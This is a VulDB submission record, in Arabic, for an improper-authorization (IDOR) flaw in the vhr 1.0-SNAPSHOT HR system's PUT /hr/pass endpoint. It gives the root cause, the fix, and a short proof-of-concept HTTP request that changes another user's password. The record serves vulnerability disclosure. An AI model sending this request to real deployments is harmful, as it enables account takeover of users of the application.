| عنوان | lenve vhr 1.0-SNAPSHOT Improper Authorization |
|---|
| الوصف | vhr(微人事) — IDOR in PUT /hr/pass (VHR-VULN-009)
Product: vhr(微人事) 1.0-SNAPSHOT
CWE: CWE-285
Classification: Improper Authorization
=== ROOT CAUSE ===
`HrInfoController.updatePass()` — no `hrid == currentUser.id` check.
=== REPRODUCTION ===
`hrid` parameter is not bound to session user; attacker changes any user's password if old password known.
PoC:
PUT /hr/pass HTTP/1.1
Host: TARGET
Content-Type: application/json
Cookie: JSESSIONID=SESSION_LIBAI
Connection: close
{"hrid":3,"oldpass":"123","pass":"IdorPoc456!"}
Expected: {"status":200,"msg":"更新成功!"}
=== IMPACT ===
Account takeover when default/weak passwords exist (chains with VHR-VULN-008).
=== FIX ===
Ignore client `hrid`; use authenticated principal id only.
|
|---|
| المصدر | ⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-009-password-change-idor.md |
|---|
| المستخدم | Anonymous User |
|---|
| ارسال | 16/07/2026 01:49 PM (2 أشهر منذ) |
|---|
| الاعتدال | 12/09/2026 10:24 AM (2 months later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 403087 [lenve vhr 1.0-SNAPSHOT Password Update /hr/pass HrInfoController.updatePass hrid تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|